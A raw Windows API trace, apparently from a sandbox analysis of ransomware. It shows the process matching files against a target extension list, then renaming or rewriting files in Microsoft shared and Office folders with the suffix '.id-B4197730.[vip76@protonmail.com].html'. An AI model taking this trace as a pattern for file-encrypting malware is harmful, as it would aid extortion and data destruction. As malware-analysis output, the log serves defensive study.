	[0205.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0205.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0205.907] lstrlenW (lpString=".doc") returned 4
	[0205.908] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0205.908] lstrlenW (lpString=".docx") returned 5
	[0205.908] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0205.908] lstrlenW (lpString=".pdf") returned 4
	[0205.908] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0205.908] lstrlenW (lpString=".xls") returned 4
	[0205.908] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0205.908] lstrlenW (lpString=".xlsx") returned 5
	[0205.908] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0205.908] lstrlenW (lpString=".ppt") returned 4
	[0205.908] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0205.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0205.908] lstrlenW (lpString=".zip") returned 4
	[0205.908] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0205.908] lstrlenW (lpString=".rar") returned 4
	[0205.908] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0205.908] lstrlenW (lpString=".bz2") returned 4
	[0205.908] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0205.908] lstrlenW (lpString=".7z") returned 3
	[0205.908] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0205.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0205.908] lstrlenW (lpString=".dbf") returned 4
	[0205.908] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0205.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0205.908] lstrlenW (lpString=".1cd") returned 4
	[0205.908] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0205.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74
	[0205.908] lstrlenW (lpString=".jpg") returned 4
	[0205.908] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0205.909] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0205.909] lstrlenW (lpString="boxed-delete.avi") returned 16
	[0205.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0205.909] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=48936) returned 1
	[0205.909] CloseHandle (hObject=0x34c) returned 1
	[0205.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20
	[0205.910] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0205.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0205.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0205.910] lstrlenW (lpString=".doc") returned 4
	[0205.910] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0205.910] lstrlenW (lpString=".docx") returned 5
	[0205.910] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0205.910] lstrlenW (lpString=".pdf") returned 4
	[0205.910] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0205.910] lstrlenW (lpString=".xls") returned 4
	[0205.910] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0205.910] lstrlenW (lpString=".xlsx") returned 5
	[0205.910] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0205.910] lstrlenW (lpString=".ppt") returned 4
	[0205.910] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0205.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0205.910] lstrlenW (lpString=".zip") returned 4
	[0205.910] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0205.910] lstrlenW (lpString=".rar") returned 4
	[0205.910] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0205.910] lstrlenW (lpString=".bz2") returned 4
	[0205.910] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0205.910] lstrlenW (lpString=".7z") returned 3
	[0205.910] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0205.910] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0205.910] lstrlenW (lpString=".dbf") returned 4
	[0205.911] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0205.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0205.911] lstrlenW (lpString=".1cd") returned 4
	[0205.911] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0205.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0205.911] lstrlenW (lpString=".jpg") returned 4
	[0205.911] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0205.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0205.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0205.911] lstrlenW (lpString=".doc") returned 4
	[0205.911] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0205.911] lstrlenW (lpString=".docx") returned 5
	[0205.911] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0205.911] lstrlenW (lpString=".pdf") returned 4
	[0205.911] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0205.911] lstrlenW (lpString=".xls") returned 4
	[0205.911] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0205.911] lstrlenW (lpString=".xlsx") returned 5
	[0205.911] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0205.911] lstrlenW (lpString=".ppt") returned 4
	[0205.911] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0205.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0205.911] lstrlenW (lpString=".zip") returned 4
	[0205.911] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0205.911] lstrlenW (lpString=".rar") returned 4
	[0205.911] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0205.911] lstrlenW (lpString=".bz2") returned 4
	[0205.911] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0205.911] lstrlenW (lpString=".7z") returned 3
	[0205.911] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0205.911] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0205.911] lstrlenW (lpString=".dbf") returned 4
	[0205.912] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0205.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0205.912] lstrlenW (lpString=".1cd") returned 4
	[0205.912] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0205.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73
	[0205.912] lstrlenW (lpString=".jpg") returned 4
	[0205.912] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0205.912] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0205.912] lstrlenW (lpString="boxed-join.avi") returned 14
	[0205.912] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0205.912] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=46622) returned 1
	[0205.912] CloseHandle (hObject=0x34c) returned 1
	[0205.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20
	[0205.913] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0205.913] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0205.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0205.913] lstrlenW (lpString=".doc") returned 4
	[0205.913] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0205.913] lstrlenW (lpString=".docx") returned 5
	[0205.913] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0205.913] lstrlenW (lpString=".pdf") returned 4
	[0205.913] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0205.913] lstrlenW (lpString=".xls") returned 4
	[0205.913] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0205.913] lstrlenW (lpString=".xlsx") returned 5
	[0205.913] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0205.913] lstrlenW (lpString=".ppt") returned 4
	[0205.913] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0205.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0205.913] lstrlenW (lpString=".zip") returned 4
	[0205.913] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0205.913] lstrlenW (lpString=".rar") returned 4
	[0205.913] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0205.913] lstrlenW (lpString=".bz2") returned 4
	[0205.913] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0205.913] lstrlenW (lpString=".7z") returned 3
	[0205.913] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0205.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0205.913] lstrlenW (lpString=".dbf") returned 4
	[0205.913] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0205.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0205.914] lstrlenW (lpString=".1cd") returned 4
	[0205.914] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0205.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0205.914] lstrlenW (lpString=".jpg") returned 4
	[0205.914] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0205.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0205.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0205.914] lstrlenW (lpString=".doc") returned 4
	[0205.914] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0205.914] lstrlenW (lpString=".docx") returned 5
	[0205.914] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0205.914] lstrlenW (lpString=".pdf") returned 4
	[0205.914] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0205.914] lstrlenW (lpString=".xls") returned 4
	[0205.914] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0205.914] lstrlenW (lpString=".xlsx") returned 5
	[0205.914] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0205.914] lstrlenW (lpString=".ppt") returned 4
	[0205.914] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0205.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0205.914] lstrlenW (lpString=".zip") returned 4
	[0205.914] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0205.914] lstrlenW (lpString=".rar") returned 4
	[0205.914] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0205.914] lstrlenW (lpString=".bz2") returned 4
	[0205.914] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0205.914] lstrlenW (lpString=".7z") returned 3
	[0205.914] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0205.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0205.914] lstrlenW (lpString=".dbf") returned 4
	[0205.914] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0205.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0205.915] lstrlenW (lpString=".1cd") returned 4
	[0205.915] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0205.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71
	[0205.915] lstrlenW (lpString=".jpg") returned 4
	[0205.915] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0205.915] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0205.915] lstrlenW (lpString="boxed-split.avi") returned 15
	[0205.915] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0205.915] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=84190) returned 1
	[0205.915] CloseHandle (hObject=0x34c) returned 1
	[0205.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20
	[0205.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0205.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0205.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0205.916] lstrlenW (lpString=".doc") returned 4
	[0205.916] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0205.916] lstrlenW (lpString=".docx") returned 5
	[0205.916] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0205.916] lstrlenW (lpString=".pdf") returned 4
	[0205.916] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0205.916] lstrlenW (lpString=".xls") returned 4
	[0205.916] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0205.916] lstrlenW (lpString=".xlsx") returned 5
	[0205.916] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0205.916] lstrlenW (lpString=".ppt") returned 4
	[0205.916] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0205.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0205.916] lstrlenW (lpString=".zip") returned 4
	[0205.916] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0205.916] lstrlenW (lpString=".rar") returned 4
	[0205.916] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0205.916] lstrlenW (lpString=".bz2") returned 4
	[0205.916] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0205.916] lstrlenW (lpString=".7z") returned 3
	[0205.916] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0205.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0205.916] lstrlenW (lpString=".dbf") returned 4
	[0205.916] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0205.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0205.916] lstrlenW (lpString=".1cd") returned 4
	[0205.917] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0205.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0205.917] lstrlenW (lpString=".jpg") returned 4
	[0205.917] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0205.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0205.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0205.917] lstrlenW (lpString=".doc") returned 4
	[0205.917] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0205.917] lstrlenW (lpString=".docx") returned 5
	[0205.917] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0205.917] lstrlenW (lpString=".pdf") returned 4
	[0205.917] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0205.917] lstrlenW (lpString=".xls") returned 4
	[0205.917] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0205.917] lstrlenW (lpString=".xlsx") returned 5
	[0205.917] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0205.917] lstrlenW (lpString=".ppt") returned 4
	[0205.917] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0205.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0205.917] lstrlenW (lpString=".zip") returned 4
	[0205.917] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0205.917] lstrlenW (lpString=".rar") returned 4
	[0205.917] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0205.917] lstrlenW (lpString=".bz2") returned 4
	[0205.917] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0205.917] lstrlenW (lpString=".7z") returned 3
	[0205.917] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0205.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0205.917] lstrlenW (lpString=".dbf") returned 4
	[0205.917] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0205.917] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0205.917] lstrlenW (lpString=".1cd") returned 4
	[0205.917] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0205.918] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72
	[0205.918] lstrlenW (lpString=".jpg") returned 4
	[0205.918] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0205.918] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1
	[0205.918] lstrlenW (lpString="correct.avi") returned 11
	[0205.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0205.918] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x32bff14 | out: lpFileSize=0x32bff14*=180172) returned 1
	[0205.918] CloseHandle (hObject=0x34c) returned 1
	[0205.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20
	[0205.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0205.918] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0205.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0205.919] lstrlenW (lpString=".doc") returned 4
	[0205.919] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0205.919] lstrlenW (lpString=".docx") returned 5
	[0205.919] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1
	[0205.919] lstrlenW (lpString=".pdf") returned 4
	[0205.919] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0205.919] lstrlenW (lpString=".xls") returned 4
	[0205.919] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0205.919] lstrlenW (lpString=".xlsx") returned 5
	[0205.919] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1
	[0205.919] lstrlenW (lpString=".ppt") returned 4
	[0205.919] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0205.919] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68
	[0205.919] lstrlenW (lpString=".zip") returned 4
	[0205.919] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0205.919] lstrlenW (lpString=".rar") returned 4
	[0205.919] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0205.919] lstrlenW (lpString=".bz2") returned 4
	[0205.919] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0205.919] lstrlenW (lpString=".7z") returned 3
	[0205.919] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0205.922] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0205.940] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0205.941] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0206.565] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.565] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32bfec0 | out: lpNewFilePointer=0x0) returned 1
	[0206.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0206.567] GetLastError () returned 0x0
	[0206.567] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x83c, lpOverlapped=0x0) returned 1
	[0206.582] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0x840, lpOverlapped=0x0) returned 1
	[0206.584] ReadFile (in: hFile=0x37c, lpBuffer=0x3e7f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesRead=0x32bfecc*=0x0, lpOverlapped=0x0) returned 1
	[0206.584] WriteFile (in: hFile=0x380, lpBuffer=0x3e7f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7f020*, lpNumberOfBytesWritten=0x32bfc94*=0xec, lpOverlapped=0x0) returned 1
	[0206.584] SetEndOfFile (hFile=0x380) returned 1
	[0206.585] CloseHandle (hObject=0x380) returned 1
